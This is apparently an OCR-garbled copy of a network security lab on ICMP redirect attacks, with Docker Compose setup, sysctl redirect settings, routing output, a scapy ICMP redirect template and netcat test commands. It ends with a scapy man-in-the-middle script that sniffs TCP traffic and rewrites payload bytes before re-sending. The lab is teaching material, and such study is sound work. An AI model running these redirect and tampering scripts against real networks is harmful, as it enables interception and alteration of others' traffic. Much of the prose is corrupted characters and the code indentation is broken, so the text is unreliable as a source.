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$ docker-compose build # E T A B4H%
$ docker-compose up # B RE
$ docker-compose down # XA

// ER Compose #AHyH| %

$ dcbuild # docker-compose build #J| 4
$ dcup # docker-compose up Q’J%ﬂfé
$ dcdown # docker-compose down ] f| 4
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docker ps fip K INAAN ID , AJGH] docker exec fEiZA 4 L/E3) Shell . HATCLAE . bashre
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$ dockps // docker ps —-format "{{.ID}} {{.Names}}" # |4
$ docksh <id> // docker exec -it <id> /bin/bash i F| %

[/ TEHBFERTHAAEN C AHAFE Shell
$ dockps

b1004832e275 hostA-10.9.0.5

Oaf4ea7a3e2e hostB-10.9.0.6

9652715c8e0a hostC-10.9.0.7
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$ docksh 96
root@9652715c8e0a: /#
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VM) EH ./volumes SCPFJetE# BN AL NI /volumes UM, FRATLEERIML AL E A
./volumes LI, WiRIATEZR SN EAT.

volumes:

- ./volumes:/volumes

o HAURX. N THEBTEIBITIRMESUN SR (I sysctl), BN T/ IP 56, 28 24
BCTHFAL. X2l AR 1 Docker Compose SCPFEL T AR 4% HORSEELY -

privileged: true
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# Ubuntn BERSE D, 476D TOMP T2 9B, 46 Compose Sl TR X
P 7 IR, Bt e a2 ICMP B [ L
// 7FEdocker-compose.yml

sysctls:

- net.ipv4.conf.all.accept_redirects=1

/I BFF R, HREEREAO

# sysctl net.ipvé4.conf.all.accept_redirects=0
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XTAMES, BATFMNBCEEE R G2 FE A ORI . MATICE S, ZFE RN b
HaeAE (192.168.60.11) fEAiE{E 192.168.60.0/24 LMK HH# . WIRAEZHH MRS [IBAT ip
route, FATHELANTHE
# ip route
default via 10.9.0.1 dev ethO

10.9.0.0/24 dev ethO proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev ethO

fORSHERL.  FRATROL 7 —AMURHESE, 22 AR EAERRE N ceoe FyHITT I A IEFAI(E.

#!/usr/bin/python3
from scapy.all import *

ip = IP(src = @QQQ@, dst = @QQQ)
icmp = ICMP(type=0@@Q, code=QQQQ)
icmp.gw = @QQQ@

# ICMP # 5 1 AL S04 ik K 6 W AR R AG TP 4L
ip2 = IP(src = Q0Q@Q@, dst = Q@QQ)
send(ip/icmp/ip2/ICMP()) ;

Bk ICMP H7E [ S A S 2, M S b Ay, M 27 m 4k H Hi i 2 i 4
HALsEdm, S8oth, BBk, WA S R g SN .

/] BTREREE

# ip route show cache
192.168.60.5 via 10.9.0.111 dev ethO

cache <redirected> expires 296sec

/] FEEHERF

# ip route flush cache

THIEZEH PR EUEAT traceroute #2fF, HEHIEE TP ZE .

# mtr -n 192.168.60.5
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BURIH B IP HBhEVTEE . ORI, AMRARTE S R b gs EIEFT ESCEe, AR REAUBLARCAS AT B2 Ubuntu 22.04
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o [ 3: A% docker-compose.yml ICfF, (R&IRFILRBHATAMMATAH . XLEZHAH
W27 RFEMESY 1, HFRRESIEGE . R R R PR -

sysctls:
- net.ipv4.conf.all.send_redirects=0
- net.ipv4.conf.default.send_redirects=0

- net.ipv4.conf.ethO.send_redirects=0
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R MITM b2 mi, FATEZEFZ WA netcat JHsh—4 TCP % F i R 55 b Fi
J¥o R
// 75 B ARA2192.168.60.5 & i Snetcat i 4
# nc -1p 9090

I EZEEFNERTEEIMRSE:
# nc 192.168.60.5 9090
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# sysctl net.ipvé4.ip_forward=0
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Listing 1: /R{E/CAY: mitm_sample.py
#!/usr/bin/env python3

from scapy.all import *

def spoof_pkt(pkt):
newpkt = IP(bytes(pkt[IP]))
del (newpkt . chksum)
del (newpkt [TCP] . payload)
del (newpkt [TCP] . chksum)

if pkt[TCP].payload:
data = pkt[TCP].payload.load
print ("**x* %s, length: %d" % (data, len(data)))

* A
newdata = data.replace(b'seedlabs', b'AAAAAAAA')

send (newpkt/newdata)
else:

send (newpkt)

f = '"tep'
pkt = sniff(iface='ethO', filter=f, prn=spoof_pkt)
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